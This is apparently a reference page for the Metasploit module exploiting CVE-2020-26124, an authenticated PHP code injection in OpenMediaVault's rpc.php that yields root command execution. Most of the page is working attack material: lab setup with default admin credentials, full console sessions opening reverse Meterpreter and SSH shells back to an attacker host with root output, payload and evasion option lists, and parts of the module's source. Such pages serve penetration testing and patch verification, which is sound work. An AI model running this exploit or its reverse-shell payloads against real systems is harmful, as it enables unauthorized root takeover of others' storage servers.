OpenMediaVault rpc.php Authenticated PHP Code Injection - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/openmediavault_rpc_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: OpenMediaVault rpc.php Authenticated PHP Code Injection
Module: exploit/unix/webapp/openmediavault_rpc_rce
Source code: modules/exploits/unix/webapp/openmediavault_rpc_rce.rb
Disclosure date: 2020-09-28
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-26124
This module exploits an authenticated PHP code injection vulnerability found in openmediavault versions before 4.1.36 and 5.x versions before 5.5.12 inclusive in the "sortfield" POST parameter of the rpc.php page, because "json_encode_safe()" is not used in config/databasebackend.inc. Successful exploitation grants attackers the ability to execute arbitrary commands on the underlying operating system as root.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/unix/webapp/openmediavault_rpc_rce
msf exploit(openmediavault_rpc_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Description
This module exploits an authenticated PHP code injection
vulnerability found in openmediavault versions before 4.1.36
and 5.x versions before 5.5.12 inclusive in the sortfield
POST parameter of the rpc.php
page, because json_encode_safe()
is not used in config/databasebackend.inc
.
Successful exploitation grants attackers the ability to execute
arbitrary commands on the underlying operating system as root.
Installation And Setup
- Download version 5.5.11 of OpenMediaVault (i.e. openmediavault_5.5.11-amd64.iso ISO).
- Set up a new Debian machine in VirtualBox or VMWare and load the ISO.
Follow the install prompts and note the
root
password you choose to use. Once the installation is finished, press<Enter>
to reboot the server. - Log into via the terminal using the username
root
and the password you set for theroot
user during installation. - On the shell and run the command
ip a
to get the current IP address. - Take the IP address and browse to the URL http://IP ADDRESS/, then log in
with the default administrative credentials (
admin
:openmediavault
).
Options
TARGETURI
The URI path for OpenMediaVault installation
USERNAME
The username for OpenMediaVault
PASSWORD
The password for OpenMediaVault
Verification Steps
Scenarios
OpenMediaVault 5.5.11 With Linux Dropper Payload
msf6 > use exploit/unix/webapp/openmediavault_rpc_rce
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set RHOSTS 172.29.90.121
RHOSTS => 172.29.90.121
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set LHOST 172.29.95.98
LHOST => 172.29.95.98
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > exploit
[*] Started reverse TCP handler on 172.29.95.98:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] 172.29.90.121:80 - Authenticating with OpenMediaVault using admin:openmediavault...
[+] 172.29.90.121:80 - Successfully authenticated with OpenMediaVault using admin:openmediavault.
[*] 172.29.90.121:80 - Trying to detect if target is running a supported version of OpenMediaVault.
[+] 172.29.90.121:80 - Identified OpenMediaVault version 5.5.11.
[*] 172.29.90.121:80 - Verifying remote code execution by attempting to execute 'usleep()'.
[+] 172.29.90.121:80 - Response received after 9 seconds.
[+] The target is vulnerable.
[*] 172.29.90.121:80 - Sending payload (150 bytes)...
[*] Sending stage (976712 bytes) to 172.29.90.121
[*] Meterpreter session 1 opened (172.29.95.98:4444 -> 172.29.90.121:59890) at 2020-11-09 11:26:22 -0600
[*] Command Stager progress - 100.00% done (799/799 bytes)
meterpreter > sysinfo
Computer : openmediavault.local
OS : Debian 10.5 (Linux 5.7.0-0.bpo.2-amd64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: root @ openmediavault (uid=0, gid=0, euid=0, egid=0)
meterpreter > getwd
/
meterpreter > shell
Process 930 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux openmediavault 5.7.0-0.bpo.2-amd64 #1 SMP Debian 5.7.10-1~bpo10+1 (2020-07-30) x86_64 GNU/Linux
exit
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 172.29.90.121 - Meterpreter session 1 closed. Reason: User exit
msf6 exploit(unix/webapp/openmediavault_rpc_rce) >
OpenMediaVault 5.5.11 With Unix In-Memory Payload
msf6 > use exploit/unix/webapp/openmediavault_rpc_rce
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set RHOSTS 172.29.90.121
RHOSTS => 172.29.90.121
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set LHOST 172.29.95.98
LHOST => 172.29.95.98
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set TARGET 1
TARGET => 1
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > show options
Module options (exploit/unix/webapp/openmediavault_rpc_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD openmediavault yes The OpenMediaVault password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.29.90.121 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI path of the OpenMediaVault installation
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes The OpenMediaVault username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_ssh):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.29.95.98 yes The listen address (an interface may be specified)
LPORT 22 yes The listen port
Exploit target:
Id Name
-- ----
1 Automatic (Unix In-Memory)
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set LPORT 9988
LPORT => 9988
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > run
[*] Started SSH reverse handler on ssh://172.29.95.98:9988
[*] Executing automatic check (disable AutoCheck to override)
[*] 172.29.90.121:80 - Authenticating with OpenMediaVault using admin:openmediavault...
[+] 172.29.90.121:80 - Successfully authenticated with OpenMediaVault using admin:openmediavault.
[*] 172.29.90.121:80 - Trying to detect if target is running a supported version of OpenMediaVault.
[+] 172.29.90.121:80 - Identified OpenMediaVault version 5.5.11.
[*] 172.29.90.121:80 - Verifying remote code execution by attempting to execute 'usleep()'.
[+] 172.29.90.121:80 - Response received after 6 seconds.
[+] The target is vulnerable.
[*] 172.29.90.121:80 - Sending payload (158 bytes)...
[*] SSH command shell session 2 opened (127.0.0.1 -> 127.0.0.1) at 2020-11-09 11:28:39 -0600
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
uname -a
Linux openmediavault 5.7.0-0.bpo.2-amd64 #1 SMP Debian 5.7.10-1~bpo10+1 (2020-07-30) x86_64 GNU/Linux
pwd
/
Go back to menu.
Msfconsole Usage
Here is how the unix/webapp/openmediavault_rpc_rce exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/openmediavault_rpc_rce
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > show info
Name: OpenMediaVault rpc.php Authenticated PHP Code Injection
Module: exploit/unix/webapp/openmediavault_rpc_rce
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-09-28
Provided by:
Anastasios Stasinopoulos
Available targets:
Id Name
-- ----
0 Automatic (Linux Dropper)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD openmediavault yes The OpenMediaVault password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI path of the OpenMediaVault installation
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes The OpenMediaVault username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Avoid: 1 characters
Description:
This module exploits an authenticated PHP code injection
vulnerability found in openmediavault versions before 4.1.36 and 5.x
versions before 5.5.12 inclusive in the "sortfield" POST parameter
of the rpc.php page, because "json_encode_safe()" is not used in
config/databasebackend.inc. Successful exploitation grants attackers
the ability to execute arbitrary commands on the underlying
operating system as root.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-26124
https://www.openmediavault.org/?p=2797
Module Options
This is a complete list of options available in the unix/webapp/openmediavault_rpc_rce exploit:
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > show options
Module options (exploit/unix/webapp/openmediavault_rpc_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD openmediavault yes The OpenMediaVault password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI path of the OpenMediaVault installation
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes The OpenMediaVault username to authenticate with
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Linux Dropper)
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/openmediavault_rpc_rce exploit:
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > show advanced
Module advanced options (exploit/unix/webapp/openmediavault_rpc_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/openmediavault_rpc_rce module can exploit:
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic (Linux Dropper)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/openmediavault_rpc_rce exploit:
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
12 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
13 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
14 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
15 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
16 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
17 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
18 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
19 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/x86/chmod normal No Linux Chmod
21 payload/linux/x86/exec normal No Linux Execute Command
22 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
25 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
26 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
28 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
32 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
33 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
34 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
35 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
36 payload/linux/x86/read_file normal No Linux Read File
37 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
38 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
39 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
40 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
41 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
42 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
43 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
47 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
48 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
49 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
50 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/openmediavault_rpc_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/openmediavault_rpc_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Rex::ConnectionError caught in login(), could not connect to the target.
- <PEER> - Unable to grab version of OpenMediaVault installed on target!
- Rex::ConnectionError caught in execute_command(), could not connect to the target.
- No response was received from <PEER> whilst in check(), check it is online and the target port is open!
- Failed to authenticate with OpenMediaVault on <PEER> using <USER>:<PASS>
- <PEER> - Connection failed whilst trying to perform the code injection.
- <PEER> - Response wasn't received within the expected period of time.
- <PEER> - Rex::ConnectionError caught in check(), could not connect to the target.
- Rex::ConnectionError caught in exploit(), could not connect to the target.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Rex::ConnectionError caught in login(), could not connect to the target.
Here is a relevant code snippet related to the "Rex::ConnectionError caught in login(), could not connect to the target." error message:
91: if res.code == 200 && res.body.scan('"authenticated":true,').flatten.first && res.get_cookies.scan(/X-OPENMEDIAVAULT-SESSIONID=(\w+);*/).flatten.first
92: @cookie = res.get_cookies
93: end
94: return res
95: rescue ::Rex::ConnectionError
96: print_error('Rex::ConnectionError caught in login(), could not connect to the target.')
97: return nil
98: end
99:
100: def get_target
101: print_status("#{peer} - Trying to detect if target is running a supported version of OpenMediaVault.")
<PEER> - Unable to grab version of OpenMediaVault installed on target!
Here is a relevant code snippet related to the "<PEER> - Unable to grab version of OpenMediaVault installed on target!" error message:
112: }
113: }.to_json
114: })
115: version = res.body.scan(/"version":"(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
116: if version.nil?
117: print_error("#{peer} - Unable to grab version of OpenMediaVault installed on target!")
118: return nil
119: end
120: print_good("#{peer} - Identified OpenMediaVault version #{version}.")
121:
122: version_gemmed = Rex::Version.new(version)
Rex::ConnectionError caught in execute_command(), could not connect to the target.
Here is a relevant code snippet related to the "Rex::ConnectionError caught in execute_command(), could not connect to the target." error message:
148: },
149: options: nil
150: }.to_json
151: })
152: rescue ::Rex::ConnectionError
153: fail_with(Failure::Unreachable, 'Rex::ConnectionError caught in execute_command(), could not connect to the target.')
154: end
155:
156: def check
157: res = login(user, pass)
158: unless res
No response was received from <PEER> whilst in check(), check it is online and the target port is open!
Here is a relevant code snippet related to the "No response was received from <PEER> whilst in check(), check it is online and the target port is open!" error message:
154: end
155:
156: def check
157: res = login(user, pass)
158: unless res
159: return CheckCode::Unknown("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
160: end
161:
162: if @cookie.nil?
163: return Exploit::CheckCode::Unknown("Failed to authenticate with OpenMediaVault on #{peer} using #{user}:#{pass}")
164: end
Failed to authenticate with OpenMediaVault on <PEER> using <USER>:<PASS>
Here is a relevant code snippet related to the "Failed to authenticate with OpenMediaVault on <PEER> using <USER>:<PASS>" error message:
158: unless res
159: return CheckCode::Unknown("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
160: end
161:
162: if @cookie.nil?
163: return Exploit::CheckCode::Unknown("Failed to authenticate with OpenMediaVault on #{peer} using #{user}:#{pass}")
164: end
165:
166: print_good("#{peer} - Successfully authenticated with OpenMediaVault using #{user}:#{pass}.")
167: version = get_target
168: if version.nil?
<PEER> - Connection failed whilst trying to perform the code injection.
Here is a relevant code snippet related to the "<PEER> - Connection failed whilst trying to perform the code injection." error message:
176: print_status("#{peer} - Verifying remote code execution by attempting to execute 'usleep()'.")
177: t1 = Time.now.to_i
178: res = execute_command(cmd)
179: t2 = Time.now.to_i
180: unless res
181: print_error("#{peer} - Connection failed whilst trying to perform the code injection.")
182: return CheckCode::Detected
183: end
184: diff = t2 - t1
185: if diff >= 3
186: print_good("#{peer} - Response received after #{diff} seconds.")
<PEER> - Response wasn't received within the expected period of time.
Here is a relevant code snippet related to the "<PEER> - Response wasn't received within the expected period of time." error message:
184: diff = t2 - t1
185: if diff >= 3
186: print_good("#{peer} - Response received after #{diff} seconds.")
187: return CheckCode::Vulnerable
188: end
189: print_error("#{peer} - Response wasn't received within the expected period of time.")
190: return CheckCode::Safe
191: rescue ::Rex::ConnectionError
192: print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
193: return CheckCode::Unknown
194: end
<PEER> - Rex::ConnectionError caught in check(), could not connect to the target.
Here is a relevant code snippet related to the "<PEER> - Rex::ConnectionError caught in check(), could not connect to the target." error message:
187: return CheckCode::Vulnerable
188: end
189: print_error("#{peer} - Response wasn't received within the expected period of time.")
190: return CheckCode::Safe
191: rescue ::Rex::ConnectionError
192: print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
193: return CheckCode::Unknown
194: end
195:
196: def exploit
197: print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
Rex::ConnectionError caught in exploit(), could not connect to the target.
Here is a relevant code snippet related to the "Rex::ConnectionError caught in exploit(), could not connect to the target." error message:
194: end
195:
196: def exploit
197: print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
198: execute_cmdstager(linemax: 130_000)
199: rescue ::Rex::ConnectionError
200: print_error('Rex::ConnectionError caught in exploit(), could not connect to the target.')
201: return false
202: end
203:
204: end
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Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
See Also
Check also the following modules related to this module:
- exploit/multi/http/openmediavault_cmd_exec
- auxiliary/dos/rpc/rpcbomb
- exploit/unix/webapp/php_xmlrpc_eval
- exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce
- exploit/unix/webapp/bolt_authenticated_rce
- exploit/unix/webapp/joomla_comfields_sqli_rce
- exploit/unix/webapp/joomla_contenthistory_sqli_rce
- exploit/unix/webapp/oscommerce_filemanager
- exploit/unix/webapp/thinkphp_rce
- exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
- exploit/unix/webapp/wp_pie_register_bypass_rce
- exploit/unix/webapp/wp_plainview_activity_monitor_rce
- exploit/unix/webapp/wp_wpshop_ecommerce_file_upload
- exploit/unix/sonicwall/sonicwall_xmlrpc_rce
